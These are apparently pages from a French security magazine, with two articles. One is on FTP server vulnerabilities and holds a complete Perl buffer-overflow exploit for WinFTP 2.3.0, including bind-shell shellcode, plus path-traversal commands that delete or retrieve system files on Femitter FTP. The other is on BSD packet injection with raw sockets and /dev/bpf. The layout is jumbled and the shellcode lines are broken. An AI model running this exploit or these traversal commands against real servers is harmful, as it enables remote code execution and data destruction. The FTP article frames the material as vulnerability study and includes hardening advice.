d'un manque de rigueur, il peut se 
produire des débordements de tampon, 
bien connus sous le terme anglais 
Buf fer OverFlow. Puisqu'il s'agit d'une 
faille grave, la porte est ouverte et 
l'intégrité d'un système entier s'en trouve 

Tableau 3.

ABOR Abort Commande afin d'abandonner un transfert.

ALLO Allocate Permet de commander une allocation mémoire.

APPE Append Permet d'allouer un nom avant le transfert FTP.

DELE Delete Permet de supprimer un fichier donné en ref.

HELP Aide service FTP Détermine toutes les commandes comprises.

LIST Listing Permet de lister les fichiers et répertoires.

MKD Make directory Cette commande permet de créer un répertoire.

NLST Name list Permet d'envoyer la liste des dossiers et fichiers.

NOOP No operation Commande afin d'obtenir un code OK.

REST Restart Permet de reprendre un transfert selon marqueur.

RETR Retrieve Permet d'obtenir un fichier selon sa location.

RMD Remove directory Permet de supprimer un répertoire entier.

RNFR Rename from Permet de renommer un fichier (avant RNTO).

RNTO Rename to Permet de renommer un fichier (après RNFR).

SITE Site parameters Permet de définir des services supplémentaires.

STOR Storage Transfert, stockage et création d'un fichier.

STOU Storage U Idem à STOR mais en attribuant un nom unique.

STAT Status Permet d'établir la situation du serveur (I/O).

SYST System Commande relative aux informations du serveur.

PWD print working dir Renvoit le chemin du repertoire courant.

Figure 2. Commande HELP sous Metasploit
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Listing 2.

use IO::Socket;
if (@ARGV < 2){
   print "\nUsage: $0 <host> <user> <pass> <target>\n\n";
   print "Target: 1 -> Win2k\n";
   print "Target: 2 -> WinXP sp2/3 (DoS only)\n\n";
   exit;
};

$host     = $ARGV[0];
$username = $ARGV[1];
$password = $ARGV[2];
$port     = 21;
$list     = "\x4c\x49\x53\x54\x20\x2a";
$padding  = "\x41" x 272;

$sock = new IO::Socket::INET
(
   PeerAddr=> "$host",
   PeerPort=> "$port",
   Proto   => 'tcp'
);

die "Connection failed: $!\n\n" unless $sock;
$user_string = "user $username\r\n";
$pass_string = "pass $password\r\n";
$port_string = "PORT 10,0,0,1,154,119\r\n";

$address2k = "\x74\xf8\x74\x02". # This needs to contain any
                                 # readable address, or we 
                                 # immediately cause an    

    exception.
                                            
             "\x14\xfc\x75\x02". # This will become EIP.  

    It points
                                 # to our shellcode.
                                        
             "\x74\xf8\x75\x02"; # This specifies what DWORD  

       to overwrite.
                                 # YMMV here. I picked  

    an arbitrary 
                                 # return address on the  

       stack located
                                 # near where ESP was during 
                                 # the exception. On my  

             system this is
                                 #
                                 # 0275F874   73D34154  RETURN 
                                 # to MFC42.73D34154
$nopsled = "\x90" x 2228;

# Metasploit win32_bind, EXITFUNC=process LPORT=7777
$shellcode      =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\ 

xf4\x5b\x81\x73\x13\x10".
"\x92\xe9\xd3\x83\xeb\xfc\xe2\xf4\xec\xf8\ 

x02\x9e\xf8\x6b\x16\x2c".
"\xef\xf2\x62\xbf\x34\xb6\x62\x96\x2c\x19\ 

x95\xd6\x68\x93\x06\x58".
"\x5f\x8a\x62\x8c\x30\x93\x02\x9a\x9b\xa6\ 

x62\xd2\xfe\xa3\x29\x4a".
"\xbc\x16\x29\xa7\x17\x53\x23\xde\x11\x50\ 

x02\x27\x2b\xc6\xcd\xfb".
"\x65\x77\x62\x8c\x34\x93\x02\xb5\x9b\x9e\ 

xa2\x58\x4f\x8e\xe8\x38".
"\x13\xbe\x62\x5a\x7c\xb6\xf5\xb2\xd3\xa3\ 

x32\xb7\x9b\xd1\xd9\x58".
"\x50\x9e\x62\xa3\x0c\x3f\x62\x93\x18\xcc\ 

x81\x5d\x5e\x9c\x05\x83".
"\xef\x44\x8f\x80\x76\xfa\xda\xe1\x78\xe5\ 

x9a\xe1\x4f\xc6\x16\x03".
"\x78\x59\x04\x2f\x2b\xc2\x16\x05\x4f\x1b\ 

      

      x0c\xb5\x91\x7f\xe1\xd1".
"\x45\xf8\xeb\x2c\xc0\xfa\x30\xda\xe5\ 

x3f\xbe\x2c\xc6\xc1\xba\x80".
"\x43\xc1\xaa\x80\x53\xc1\x16\x03\x76\ 

xfa\xf7\xb2\x76\xc1\x60\x32".
"\x85\xfa\x4d\xc9\x60\x55\xbe\x2c\xc6\ 

xf8\xf9\x82\x45\x6d\x39\xbb".
"\xb4\x3f\xc7\x3a\x47\x6d\x3f\x80\x45\ 

x6d\x39\xbb\xf5\xdb\x6f\x9a".
"\x47\x6d\x3f\x83\x44\xc6\xbc\x2c\xc0\ 

x01\x81\x34\x69\x54\x90\x84".
"\xef\x44\xbc\x2c\xc0\xf4\x83\xb7\x76\ 

xfa\x8a\xbe\x99\x77\x83\x83".
"\x49\xbb\x25\x5a\xf7\xf8\xad\x5a\xf2\ 

xa3\x29\x20\xba\x6c\xab\xfe".
"\xee\xd0\xc5\x40\x9d\xe8\xd1\x78\xbb\ 

x39\x81\xa1\xee\x21\xff\x2c".
"\x65\xd6\x16\x05\x4b\xc5\xbb\x82\x41\ 

xc3\x83\xd2\x41\xc3\xbc\x82".
"\xef\x42\x81\x7e\xc9\x97\x27\x80\xef\ 

x44\x83\x2c\xef\xa5\x16\x03".
"\x9b\xc5\x15\x50\xd4\xf6\x16\x05\x42\ 

x6d\x39\xbb\xe0\x18\xed\x8c".
"\x43\x6d\x3f\x2c\xc0\x92\xe9\xd3\x0d\x0a";

if ($ARGV[3] == '1'){
   $payload = $list.$padding.$address2k.$nopsled.$shellcode;
}

elsif ($ARGV[3] == '2'){
   $payload = $list.$padding.$address2k.$nopsled.$shellcode;
}

else{
   $payload = $list.$padding.$address2k.$nopsled.$shellcode;
}

print "\n[=] Connected.\n";
sleep 1;

print "[=] Sending $user_string";
$sock->send($user_string);
sleep 1;

print "[=] Sending $pass_string";
$sock->send($pass_string);
sleep 1;

$sock->send($port_string);
sleep 1;

print "[=] Sending payload...\n";
$sock->send($payload);
sleep 1;

if ($ARGV[3] == '1'){
   print "[=] Done. Command shell on port 7777.\n\n";
}

elsif ($ARGV[3] == '2'){
   print "[=] Done. WinFTP should be crashed.\n\n";
}

else{
    print "[=] Done.\n\n";
}
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amoindrie. Certains considéreront  
ces propos trop alarmistes  
et par faitement infondés. De ce  
fait , posons-nous la question  
cruciale: Qu'en-est-il vraiment?  
Peut-on définir l'ampleur de la 
problèmatique avec ef ficacité  
et précision? Comment répondre  
à ce paradoxe FTP? 

En théorie, cette vulnérabilité  
est simple à comprendre. Imagi- 
nons une application au stade du 
développement. Dans le code source, 
l'une des allocations de mémoire 
réclame un volume de n octets. Mais 
que se passe-t-il lorsque l'entrée 
dépasse le volume qui lui est accordé, 
comprendre n octets. Selon le degré  
du débordement, il se produit un 
décalage important dans la pile. Le 
chaos résultant de cette mécanique 
provoque habituellement un arrêt 
du programme, un déni de service 
(DoS). Néanmoins, il est possible 
d'exploiter cette faille afin d'exécuter 
des commandes autrement interdites 
en profitant des droits accordés au 
programme vulnérable. Comment  
est-ce possible?

Lorsque le débordement s'emploie 
 à utiliser plusieurs centaines (voire  
des milliers) d'octets, le décalage  
est tel qu'il vient écraser le rEIP, 
comprendre le registre de pile 
correspondant à l'adresse de retour  
sur instruction. Si le volume exact  
est clairement identifié, un débordement 
peut redéfinir la variable de 4 octets 
contenue dans le rEIP  afin de 
« rebondir » sur une portion de code 
supplémentaire. Durant l'exploitation  
d'un BOF, il convient de « sauter »  
sur un segment de la chaîne de 
caractères (notre allocation tampon) 
qui comporte un ShellCode. Celui-ci est 
exécuté avec les droits de l'application 
vulnérable. Ainsi, nous pouvons traduire 
le principe selon 3 étapes essentielle :

• Une allocation de mémoire est 
débordée,

• Le rEIP de la pile dynamique est 
écrasé,

• Un flux de commandes (shellcode) 
est exécuté.

Considération pratique du sujet.
Après examen, il apparaît  

(et ce n'est pas un hasard) que les 
serveurs FTP sont souvent référencés 
«application vulnérable» sur les sites 
spécialisés dans l'information des 
failles nouvelles. Par fois, le pourcentage 
atteint des proportions ef frayantes, 
pratiquement 25% de l'ensemble  
des vulnérabilités archivées. Ainsi,  
un quart des failles exploitables via 
internet (remote) se concentre au  
seul service FTP évoqué dans ce 
dossier. 

A cet ef fet, prenons le temps 
d'analyser les derniers mois  
2008/2009 et selon le site Milw0rm  
(une référence dans le milieu). 
Attachons-nous seulement aux failles 
exploitables, oubliant les simples 
DoS rudimentaires. Le résultat est 
bouleversant car sur une centaine 
de failles déclarées, une trentaine 
s'attachent à corrompre un système 
via un service FTP vulnérable. Pêle-
mêle, nous retrouvons nos précédentes 
commandes dans un usage discutable. 
Voici quelques exemples parmi tant 
d'autres:

• L'application FTPdmin 0.96 est 
vulnérable à un débordement de 
tampon via la commande RNFR 
(rename from),

• L'application WinFTP 2.3.0 est 
vulnérable à un débordement de 
tampon via la commande LIST 
(listing des fichiers et répertoires),

• L'application VicFTP 5.0 est 
vulnérable à un débordement de 
tampon via la commande LIST 
(listing des fichiers et répertoires),

• L'application Eserv 3.x FTP Server 
est vulnérable à un débordement 
de tampon via la commande ABOR 
(clôture de session),

• L'application VxFtpSrv 2.0.3 est 
vulnérable à un débordement de 
tampon via la commande CWD 
(change working directory).

Nous avons parlé des failles de type 
débordement de tampon, mais il faut 
aussi citer les lignes de commandes qui 
ne sont pas contrôler convenablement, si 

bien qu'elles permettent de s'attribuer  
des privilèges autrement interdits. Ces 
failles ne sont pas complexes et se 
résument à une ligne de commande 
associée à une astuce (principalement 
un disclosure). Encore une fois, nous 
pouvons analyser quelques-unes de ces 
ambiguïtés:

• L'application Dream FTP Server  
est vulnérable à un détournement  
de la commande RETR (retreive),

• L'application GuildFTPd FTP Server 
0.999.14 est vulnérable à un 
détournement de la commande 
DELE (delete),

• L'application Null FTP Server 1.1.0.7 
est vulnérable à un détournement 
de la commande SITE (ajout d'un 
service),

• L'application Serv-U 7.3 est 
vulnérable à un détournement de la 
commande RNTO (rename to),

• L'application Femitter FTP Server 1.x 
est vulnérable à un détournement 
des commandes RETR, MKD, RMD 
et DELE.

Nous pouvons aussi faire figurer  
un modèle explicite afin de bien  
discerner le problème. Ainsi, si la  
nature d'une commande n'est pas  
vérifiée avec vigilance, un usagé 
malveillant peut injecter une commande 
autrement interdite. Quelques carac- 
tères quelconques suffisent à révèler  
des informations sensibles. Voici un 
modèle du genre simple qui exploite  
de nombreuses failles sous Femitter 
FTP Server 1.x (selon l'exploit de  
Jonathan Salwan). Les doubles points 
associés aux slashs permet de 
remonter dans l'arborescence du 
serveur:

You can delete file boot.ini => 

   DELE ../../boot.ini

You can get file boot.ini => 

   RETR ../../boot.ini

You can create Directory => 

   MKD ../../poc

You can delete Directory => 

   RMD ../../WINDOWS

You can crash service => 

   (RETR 0)x2
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Coder un exploit afin 

de d'exploiter une faille FTP.

L'examen de toutes ces failles est 
intéressant mais il convient aussi de 
se pencher sur le caractère pratique 
de l'objet étudié. Pour ce faire, nous 
allons décortiquer un exploit codé sous 
Perl afin d'exploiter une faille de type 
« débordement » via un serveur FTP, en 
l'occurence WinFTP 2.3.0 (serveur FTP très 
répandu sur la toile). Comme nous l'avons 
prédemment expliqué, la commande LIST 
ne vérifie pas la longueur de la chaîne  
de caractères passée en commande. 
Le débordement est important est  
permet l'exécution d'un ShellCode  
sous Windows 2000 notamment 
(un BindShell). Le code ci-dessous 
est particulièrement explicite (exploit 
développé par Joe Walko):

Conclusion
La théorie du paradoxe FTP est 
maintenant expliquée et repose ainsi 
sur une complémentarité hasardeuse 
entre les fonctions d'un programme 
quelconque. Les algorithmes complexes 
propres à ces expériences n'apportent 
rien concrètement à notre dossier.  
Ce que nous voudrons retenir c'est  
que la surabondance de commandes 
dans une application engage (sur un 
plan mathématique) une plus grande 
chance de trouver une faille exploitable. 
Certes, les paradoxes probabilistes 
sont contre-intuitifs ou tout simplement 
présentant dif férents résultats selon 
l'interprétation que l'on fait de l'énoncé 
parmi plusieurs possibilités légitimes 
ou non. En vérité, le mot paradoxe 
est un abus de langage. Néanmoins, 
l'esprit du paradoxe énoncé se trouve 
confirmé dans le nombre important des 
failles recensées sur des sites comme 
Milw0rm. Ef fectivement, si le protocole 
FTP reposait sur 5 commandes 
uniquement, les chances d'aboutir  
à une faille serait beaucoup plus  
faible (principe des probabilités).  

Pour conclure sur l'exploitation 
des failles par débordement, nous 
pouvons utiliser l'exploit auparavant 
expliqué afin de constituer un code 
de test en environnement FTP. 

Quelques modifications minimes nous 
permettraient de vérifier l'intégrité de 
chacune des allocations de mémoire 
propres aux dif férentes commandes. 
Plus simple encore, il existe cette 
application que chacun doit connaître 
par faitement, il s'agit du Metasploit . Ce 
service propose beaucoup d'exploits 
afin de vérifier l'intégrité d'un service 
FTP notamment. Particulièrement intuitif 
(presque convivial), il est en constante 
évolution grâce à la communauté 
importante des administrateurs, des 
programmeurs et des pirates. Sans 
doute l'une des plus grande réussite des 
10 dernières années. Bien entendu, cette 
application figure sur le CD of fer t avec 
votre magazine Hakin9.

Afin d'éviter cette corruption 
au sein d'un système, il convient 
d'assurer et de (re)penser plusieurs 
concepts importants. Un serveur FTP 
doit être considéré comme un objet 
évolutif, comprendre sans finalité de 
développement. Chaque jour, il convient 
d'agir avec vigilance! Le principe de 
« veille informatique » est simple mais 
parmi les plus ef ficaces. Ainsi, il faut 
prendre connaissance des dernières 
failles découvertes (0day), des nouvelles 
méthodes de compromission et des 
nouveaux exploits afin d'infiltrer un 
système. Si un administrateur n'agit pas 
avec ce souci de vigilance, il peut se 
retrouvé complètement dépassé par 
des évènements récents et subir les 
foudres de quelques-uns. Ajoutons qu'en 
2 ans et demi, Milw0rm a recensé plus 
de 120 failles rien que sur des services 
FTP, soit près d'une par semaine.

Le deuxième aspect est tout aussi 
important! Nous savons qu'un flag 
d'identification annonce un rapport 
d'échange. Par fois, il signale la nature 
de l'application FTP. Or, c'est déjà trop! 
Si on donne à chacun la possibilité de 
se documenter sur les applications 
en service sur notre système, cette 
fantaisie peut se retourner contre nous 
et devenir une faiblesse, un « talon 
d'achille ». De ce fait , il convient d'utiliser 
un service FTP sain (comprendre sans 
failles référencées) et qui ne délivre 
pas forcément de flag d'identification 
instructif (code 220). Les plus 

responsables parmi nous utilisent 
même un éditeur hexadécimal afin  
de modifier les flag d'identification des 
service FTP, POP ou encore HTTP.  
Cette pensée est très intelligente  
et mérite une réflexion personnelle.  
Dans l'ignorance du produit distant,  
un pirate se trouve dans l'impossibilité 
de déterminer la faille avec certitude.

Souvenons-nous que dans un 
registre identique, la majorité des 
services distants comme FTP, POP, 
SMTP, HTTP et autres repose aussi  
sur la complémentarité des 
commandes. Avec les programmes 
FTP, les serveurs WEB connaissent 
aussi beaucoup de failles. D'une nature 
très proche des applications FTP, les 
serveurs HTTP disposent aussi de 
très nombreuses commandes. De ce 
fait , ils composent près de 10% des 
failles référencées sur Milw0rm. Ainsi, 
le mot de la fin repose sur un certain 
pessimisme car il ne suf fit pas d'utiliser 
une application quelconque certifiée  
par quelques-uns afin de se prémunir 
de la faille insidieuse et du paradoxe 
des probabilités. La vigilance est 
primordiale!

sur Internet
• http://abcdrfc.free.fr/rfc-vf/rfc959.html RFC 

959 en français
• http://www.ietf.org/rfc/rfc2228.txt RFC 

2228 en anglais
• http://www.ftp-sites.org Liste importante 

de FTP anonymes
• http://www.milw0rm.com Site Milw0rm
• http://www.metasploit.com Site 

Metasploit
• Afin de saisir le principe des 

probabilités (conditionnelles ou non), 
vous pouvez trouver matière à réflexion 
sur le site Wikipedia:

• Axiomes des probabilités,
• Paradoxe des probabilités,
• Andrey Kolmogorov, etc.

sicchia didier
Sicchia Didier est à l'origine de nombreux exploits, 
dossiers et articles divers pour plusieurs publications 
francophones consacrées à la sécurité informatique 
et au développement. Autodidacte et passionné, son 
expérience se porte notamment sur les shellcodes, les 
débordements d'allocations de mémoire, les RootKits, 
etc. Plus que tout autre chose, c'est l'esprit alternatif de 
la communauté UnderGround qui le motive. 
Pour contacter l'auteur : didier.sicchia@free.fr
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Présentation de la famille BSD

Historique
Le terme " famille BSD " désigne les OS NetBSD, 
FreeBSD, OpenBSD, leurs dérivés, ainsi que  
plus largement Darwin (Apple) et Sun OS.

La première version de BSD est sortie en 
1978 à l'université de Berkeley (à l'origine du 
nom " Berkeley Software Distribution "). Elle 
progresse rapidement et en 1982, la version  
4 reçoit une première implémentation de  
TCP/IP du "Computer Systems Research 
Group". Cette implémentation servira ensuite 
de base à de nombreuses autres piles TCP/IP. 
Ayant bien sûr évoluée depuis, elle conserve  
sa réputation de solidité et d'ef ficacité. Mais  
ce sur quoi nous allons nous attarder sont  
les fonctionnalités qu'elle of fre aux 
programmeurs réseau, et spécialement en  
ce qui concerne les outils de sécurité 
informatique. En ef fet, dans ce domaine,  
nos besoins sont très spécifiques, outre la 
nécessité de pouvoir forger des paquets,  
il faut pouvoir compter sur une grande  
ef ficacité en émission comme en réception 
avec la fiabilité et la précision dans le temps.

Les *BSD nous permettent tout cela!

Henri Doreau

Cet artiCle 
exPlique...
• Le fonctionnement général  
de la pile TCP/iP des systèmes 
BSD,

• Les mécanismes avancés 
d'injection/réception de paquets 
sous *BSD,

• L'utilisation et le fonctionnement 
de la librairie Pcap.

Ce qu'il faut 
Savoir...
• Programmation réseau en C,

• Généralités sur ethernet.

organisation de la pile tCP/iP  
de freeBSD

Rappels sur l'organisation du réseau  
en couches.
Le modèle OSI permet de décrire la manière 
don't les données transmises sur un réseau 
sont encapsulées. Il propose un découpage  
en sept couches :

Lorsqu'une application envoie des  
données sur une liaison TCP établie, ces 
données sont transmises au travers de la 
pile TCP/IP du système d'exploitation. Chaque 
couche traversée ajoute un en-tête aux 
données. Au final, la trame Ethernet telle que 
nous pouvons l'observer dans tcpdump ou 
wireshark présente un en-tête Ethernet, un en-
tête IP, un en-tête tcp, un http... les protocoles 
s'empilent.

Dans cet ar ticle nous nous réferrerons 
beaucoup aux couches 2 et 4, qui sont  
les couches de liaison ("link layer") et de 
transport ("transport layer"). Injecter sur la 
couche deux signifie construire une trame 
à partir de l'entête Ethernet. La couche 4 
correspond elle aux protocoles TCP ou UDP 
par exemple.

Degré de difficulté

Développement 
d'outils de sécurité 
réseau sous BSD
Les systèmes BSD sont très présents dans le monde  
de la sécurité informatique. nous allons voir qu'en plus  
d'être fiables et efficaces, ils offrent de puissants mécanismes 
d'injection/réception de paquets. Ces mécanismes sont 
parfaitement adaptés au développement d'outils de sécurité  
et administration réseau. La librairie PCaP apporte cette 
puissance aux autres systèmes Linux, Windows, Solaris...)
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Développement 
d'outils de sécurité 
réseau sous BSD

Transmission par mbufs
Les mbufs sont la brique de la pile 
TCP/IP des systèmes BSD. Les  
mbufs sont implémentés sous 
forme de structures dans le noyau 
et permettent la transmission des 
informations entre les dif férentes 
parties de la pile TCP/IP. Leur capacité 
à se chaîner en une liste permet 
l'implémentation des dif férentes 
couches. Grossièrement, chaque 
couche rajoutant un mbuf contenant 
l'en-tête du protocole associé au  
début de la liste. Ces tâches sont 
ef fectuées par les fonctions "d'output" 
: udp_output(), ip_output(), Ethernet_
output()...

Au final, le paquet arrivé en bas de la 
pile de protocoles est sous forme d'une 
chaine de mbufs, laquelle est analysée 
par le pilote Ethernet, qui envoie la trame 
sur les fils (nous sommes alors sur la 
couche 1 : physique).

Parallèlement, il existe les 
fonctions "d'input", qui se chargent 
de reconstruire une chaine de mbufs 
à par tir paquets entrants. Il est 
intéressant de connaitre leur existence, 
car on peut être amené lors de 
l'écriture d'un programme gourmand 
en ressources réseau, d'avoir à au- 
gmenter le nombre de mbufs que le 
kernel nous autorise.

Raw sockets
Après ces informations un peu  
lourdes, passons aux choses plus 
croustillantes. Les raw sockets 
permettent à un processus de forger 
un paquet en sélectionnant la couche 
sur laquelle il veut l'injecter. Ainsi,  
il est possible de concevoir un paquet 
avec un en-tête TCP sur mesure,  
et laisser le noyau s'occuper de 
remplir les entêtes IP et Ethernet, ou de 
modifier également l'entête IP. Ce qui  
se passe après (injection sur la couche 
1), dépasse le cadre de cet ar ticle 
et nous nous limiterons donc aux 
couches supérieures.

L'utilisation d'une raw socket  
requiert d'être root sur la machine, pour 
des raisons de sécurité.

Ces fameuses "sockets brutes" 
constituent une composante majeure 

Listing 1: ouverture d'un /dev/bpf

int open_bpf(void) {
  char buff[11];
  int i=0, fd=-1;
  do {
  sprintf(buff, "/dev/bpf%u", i);

  fd = open(buff, O_RDWR);

  } while (fd<0 && ++i<10);
  return fd;
}

Listing 2: Exemple d'utilisation de select() pour la réception/injection de trames.

int injection_loop(uint32_t idle, int fdsend, int fdrcv ) {
  char done = 0, timedout; /* variables de controle de boucle */
  int n;
  fd_set fds; /* descripteurs de fichiers à surveiller */

  struct timeval timeout;
  while (Loop) { /* Loop est une variable globale contrôlée par le gestionnaire de 

signaux */

  /* Le temps à attendre entre deux envois est convertis en timeout pour la 

fonction de réception */

  timeout.tv_sec = idle/1000;

  timeout.tv_usec = (idle%1000)*1000;

  FD_ZERO(&fds);

  FD_SET(fdrcv, &fds);

  for (timedout = false; !timedout && Loop;) {
  n = select(fdrcv+1, &fds, NULL, NULL, &timeout);

  switch (n) {
  /* erreur */

  case -1 :
  if ( errno == EINTR )
  return 0; /* ctrl+c */
  perror("[injection_loop] select()");

  Loop = 0;

  return 1;
  /* aucune donnee reçue */

  case 0 :
  timedout = true;
  continue;
  /* reception d'un paquet */

  default :
  if ( FD_ISSET(fdrcv, &fds) == 0 ) {
  timedout = true;
  continue;
  } else {
  /*

  * Appeler recv() sur la socket de reception (fdrcv)

  * et traiter les données reçues ici...

  * man recv(2)

  */

  }

  }

  }

  /*

  * Envoyer nos paquets ici

  * sur la socket fdsend

  * man send(2)

  */

  }

  return retVal;
} 
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Listing 3: utilisation des fonctions kqueue()/kevent()

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/ioctl.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/event.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <net/ethernet.h>

#include <net/bpf.h>

#include <net/if.h>

static int Loop = 1;

/* callback pour le gestionnaire de signaux */

void do_exit(int sig) {
  Loop = 0;

}

int main(void) {
  int ll, kq, n, one=1;
  uint8_t dst;

  struct ifreq iface;
  struct timespec ts = {6, 0};
  struct kevent changelist, eventlist;

  signal(SIGINT, do_exit); /* gestionnaire de signaux */

  kq = kqueue(); /* ouverture d'une nouvelle kqueue */

  if (kq == -1) {
  perror("[main] kqueue");

  return 1;
  }

  ll = open_bpf(); /* voir listing 1 */

  if (ll == -1) {
  perror("[main] open");

  close(kq);

  return 2;
  }

  /*attacher le bpf à une interface réseau */

  

  

  

  strcpy((char *)iface.ifr_name, "nfe0");
  if (ioctl(ll, BIOCSETIF, &iface) < 0) {
  close(ll);

  perror("[open_bpf] ioctl BIOCSETIF");

  return 3;
  } else if (ioctl(ll, FIONBIO, &one) == -1) { /* mode non 

bloquant */

  perror("[open_bpf] ioctl FIONBIO");

  close(ll);

  return 4;
  }

/* ajout d'un événement dans la kqueue */

  EV_SET(&changelist, ll, EVFILT_READ,

  EV_ADD | EV_ONESHOT,

  0, 0, NULL);

  while (Loop) {
  n = kevent(kq, &changelist, 1, &eventlist, 1, &ts);

  switch (n) {
  case -1 :
  perror("kevent");

  return;

  case 0 :
  /* timeout, reboucler */

  break;

  default :
  /* donnees recues */

  printf("[+] %d octets disponibles\n", eventlist.data);

  /*

  * !! Lire les trames ici !!

  */

  }

  }

  close(kq);

  close(ll);

  return 0;
}

des outils de sécurité/diagnostique 
réseau. Du vénérable ping au tout 
puissant nmap...

/dev/bpf
L'accès à la couche de liaison se fait  
par l'intermédiaire des /dev/bpf (BPF 
pour Berkeley Packets Filter), et ceci 
sans aucun problème de protocole. 
Ces bpf sont la pièce maitresse autour 
de laquelle nous allons construire nos 
applications.

Il se manipulent comme des fichiers 
usuels.

Vous pouvez injecter absolument 
tout et n'importe quoi ici. En lecture, vous 
pouvez observer les trames qui atteignent 
l'interface réseau correspondante (voir 
plus loin), même celles destinées aux 
autres machines du réseau. L'équivalent 
sous Linux est la raw socket de type 
PF_PACKET.

L'accès se fait en essayant d'ouvrir 
/dev/bpf0, puis /dev/bpf1etc... jusqu'à 
ce que l'on en trouve un de disponible. 
Chaque ouverture d'un bpf génère la 
création d'un nouveau pour un éventuel 
autre processus.

algorithmes asynchrones 
d'injection/réception  
de paquets
Désignés dans la littérature anglo-
saxonne de "Asynchrone IO multiplexing", 
ces algorithmes sont la base de bon 
nombre de programmes réseaux. 
L'objectif étant dans un programme 
monothread, d'injecter des paquets  
à une fréquence contrôlée, sans connaître 
à l'avance la vitesse et le nombre de 
réponses. Ils ne sont pas spécifiques aux 
raw sockets, mais sont bien adaptés aux 
contraintes des outils de sécurité réseau.
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Autour de select()
Une première technique est d'utiliser  
pour cela des sockets non bloquants et la 
fonction select(2)

La fonction select(2) permet de 
surveiller des ensembles de descripteurs 
de fichier. Lorsque des évènements 
se produisent sur ces descripteurs 
(typiquement des sockets, mais pas 
uniquement, magie d'unix oblige!), ils sont 
réorganisés dans des sous ensembles, 
qu'il faut ensuite analyser. On peut ensuite 
effectuer les actions apropriées (réception 
du paquet si disponible, retransmission si 
aucune réponse...)

Cet algorithme est portable mais 
présente une limitation importante. 
Select() ne peut traiter que FD_SETSIZE 
sockets. Ce nombre, par défaut 1024, 
peut rapidement être atteint, même  
sur des applications de taille moyenne.

Malgrès tous ses inconvénients,  
la portabilité de la fonction select() fait 
qu'on la retrouve dans de nombreux 
logiciels. C'est autour d'elle que 
fonctionne le logiciel nmap par  
exemple.

Autour de poll(2)
Pour pallier à cela, une inter face plus 
moderne existe : la fonction poll().

Elle accepte un nombre illimité 
de descripteurs de fichier (FD), mais 
présente elle aussi un inconvénient 
important : la liste de ces Fds est 
parcourue à chaque appel. Ceci peut 
réellement poser des problèmes de 
per formance, rendant les programmes 
peu évolutifs...

Autour de kqueue(2)/kevent(2)
N'y a-t-il pas un moyen moderne, 
ef ficace et pratique de traiter un gros 
ensemble de descripteurs de fichiers? 
Bien sûr que si, par contre il va falloir 
dire dès maintenant au revoir à la 
portabilité...

Notre sauveur, ou plutôt nos 
sauveuses, sont les deux fonctions 
kqueue(2) et kevent(2).

(Note : voir epoll(4) sous Linux,  
et completion ports sous Windows  
pour des solutions similaires)

Ces deux fonctions permettent de 
faire traiter une file d'évènements par le 

kernel, et sont donc intéressantes  
en terme de per formances. La première, 
kqueue(), crée une nouvelle file dans  
le noyau. Il est à noter que cette file  
n'est pas dupliquée lors d'un appel  
à fork().

La macro EV_SET, permet ensuite 
d'enregistrer les évènements qui  
nous intéressent, pour le descripteur  
de notre choix. Ensuite, la surveillance 
de ces évènements se fait par l'appel  
à kevent().

Le code fourni à titre d'exemple dans 
le listing 3 permet de surveiller une 
inter face réseau (ici nfe0).

L'exemple a été choisi pour des 
questions de compacités, évidemment, 
l'intérêt de ces deux fonctions s'impose 

lors de la gestion en parallèle de 
nombreux descripteurs de fichiers. 
Par exemple dans des serveurs tcp 
multiclients monothread.

l'injection/réception  
de paquets

Construction du paquet
La seule dif ficulté ici consiste à garder 
les données alignées en mémoire.  
En ef fet , rien ne garanti que les  
champs d'une structure sont contigus 
en mémoire. Le compilateur peut 
introduire quelques octets entre deux 
champs pour assurer qu'ils seront 
alignés sur des adresses multiples 
de 4. Or, il est pratique d'utiliser des 

Listing 4: construction d'une trame

typedef struct {
  uint32_t champ1;

  uint16_t champ2;

  uint16_t champ3;

} header_t;

uint8_t packet[64] = "";

header_t * trame;

trame = (header_t *)packet;

trame->champ1 = 12;

trame->champ2 = 34;

...

Listing 5: Ouverture d'une raw socket destinée à l'injection de trafic TCP

if ( (s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1 ) {
    perror("[open_raw_socket] socket");

}

Listing 7: Pièces de base des programmes BPF

BPF_STMT(opcode, operand)

BPF_JUMP(opcode, operand, true_offset, false_offset)

Listing 6: Structure d'une instruction BPF

struct bpf_insn {
  u_short code; /* le code de l'instruction */

  u_char jt; /* offset pour les instructions de branchement */

  u_char jf; /* offset pour les les instructions de branchement */

  u_long k; /* compteur */

  };
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structures pour représenter les champs 
d'un paquet. Pour cela, on utilise un 
tableau (donc contigüe en mémoire),  
et un pointeur sur une structure du type 
qui nous convient. Par la suite, cette 
méthode garanti un accès aisé aux 
dif férents champs de la trame.

injection
L'émission est triviale. Une fois la socket 
ouverte et les données prêtes, un simple 
appel à la fonction sendto(2) effectuera 
l'opération. Si l'adresse de destination ne 
change pas entre les dif férents appels, 
il est possible de connecter la socket 
(avec connect(2)) et ainsi gagner en 
per formances en utilisant la fonction 
send(2).

L'ouver ture de la socket se fait 
via l'appel système socket(). Voir 
man socket pour plus d'informations. 
Le listing suivant illustre l'ouver ture 
d'une socket brute destinée à injecter 
des trames TCP. C'est à dire que les 
données qui lui seront envoyées seront 
positionnées au dessus du header IP, 
et que celui-ci contiendra un champ 
indiquant qu'il s'agit d'un paquet TCP.

L'injection peut également se faire 
sur la couche de liaison. Lorsque 
l'on souhaite modifier l'adresse MAC 
source ou utiliser le protocole ARP par 
exemple. Pour cela, il suf fit de préparer 
la trame dans un tableau, comme vu 
précédemment, d'ouvrir un /dev/bpf, 

puis d'écrire les données dedans, 
comme on écrirait dans un fichier 
quelconque, à l'aide de l'appel système 
write(2).

réception de paquets  
sur raw sockets
Sous freeBSD, il n'est pas possible 
de recevoir des trames TCP ou UDP 
sur des raw sockets. C'est là un 
comportement dif férent de celui  
de Linux par example. Il faudra  
donc aller les chercher depuis la 
couche de liaison du réseau, via  
les /dev/bpf.

réception de paquets  
sur /dev/bpf
La réception sur les fichiers /dev/bpf 
consiste en une simple opération de 
lecture. Problème cependant, à capturer 
l'information si bas dans la pile de 
protocoles, nous avons beaucoup 
plus de traf fic que si nous ne traitions 
que les protocoles très haut niveau. 
Par exemple, si nous forgeons une 
connection tcp, les réponses de la cible 
vont être noyées au milieu de tout le 
